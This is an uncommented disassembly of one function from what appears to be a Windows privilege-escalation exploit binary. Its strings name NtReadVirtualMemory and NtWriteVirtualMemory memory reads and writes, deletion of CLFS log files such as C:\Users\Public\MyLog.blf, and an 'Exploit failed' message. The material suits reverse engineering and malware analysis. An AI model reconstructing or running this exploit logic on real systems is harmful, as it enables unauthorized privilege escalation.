Function at 0x140001e60
Capabilities:
Delete file
Terminate process

Disassembly:
push rbx
sub rsp, 0x150
mov rax, qword [0x140066008]
xor rax, rsp
mov qword [rsp + 0x140], rax
mov rbx, rcx
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x100
call fcn.140009ce0
mov rax, qword [0x140078500]
lea rdx, str.NtReadVirtualMemory
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400020b4
mov rcx, qword [0x140078500]
lea rdx, str.NtWriteVirtualMemory
mov qword [rcx + 0x18], rax
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400020b4
mov r10, qword [0x140078500]
lea r8, [rsp + 0x40]
mov r9d, 8
mov edx, dword [r10 + 0x34]
add rdx, qword [r10 + 0x40]
mov rcx, qword [r10 + 0x60]
mov qword [r10 + 0x10], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
call qword [r10 + 0x18]
test eax, eax
js 0x1400020bf
mov rax, qword [0x140078500]
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x40]
mov r9d, 8
mov edx, dword [rax + 0x34]
add rdx, qword [rax + 0x50]
mov rcx, qword [rax + 0x60]
call qword [rax + 0x10]
mov rax, qword [0x140078500]
cmp dword [rax + 0x80], 0
jne 0x140001fd8
lea rcx, [rsp + 0x30]
mov r9d, 8
mov qword [rsp + 0x20], rcx
lea rdx, [rbx + 0x18]
mov rcx, qword [rax + 0x60]
lea r8, [rsp + 0x40]
call qword [rax + 0x18]
cmp byte [rsp + 0x46], 0xff
jne 0x140001fc5
cmp byte [rsp + 0x47], 0xff
jne 0x140001fc5
mov rdx, qword [rsp + 0x40]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x48]
mov rax, qword [0x140078500]
add rdx, 0x20
mov r9d, 8
mov rcx, qword [rax + 0x60]
call qword [rax + 0x18]
cmp dword [rsp + 0x4c], 0xffffffff
jne 0x140001fc5
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x140078520]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x140001fd8
lea rdx, [0x140078520]
lea rcx, str.____Leak_open_handle_failed__container_file_will_not_be_deleted:__s_n
call fcn.1400013b0
lea rcx, str.C:UsersPublicMyLog.blf
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x140002005
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.C:UsersPublicMyLog.blf
lea rcx, str.DeleteFileW_failed._File:__s._GLE:_0x_x_n
call fcn.1400013b0
lea rcx, str.C:UsersPubliclllllog.blf
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x140002032
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.C:UsersPubliclllllog.blf
lea rcx, str.DeleteFileW_failed._File:__s._GLE:_0x_x_n
call fcn.1400013b0
lea rcx, str.C:UsersPubliccontain1
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x14000205f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.C:UsersPubliccontain1
lea rcx, str.DeleteFileW_failed._File:__s._GLE:_0x_x_n
call fcn.1400013b0
mov qword [rsp + 0x40], 1
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x40]
mov rax, qword [0x140078500]
mov r9d, 1
mov rdx, qword [rax + 0x38]
mov rcx, qword [rax + 0x60]
call qword [rax + 0x10]
mov rcx, qword [0x140078510]
call fcn.14001cf50
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.140002bf0
add rsp, 0x150
pop rbx
ret
mov ecx, 1
call fcn.14000a970
int3
lea rcx, str.Exploit_failed__try_again_____n
call fcn.1400011c0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.GLE_0x_x_n
call fcn.1400011c0
mov ecx, 1
call fcn.14000a970
int3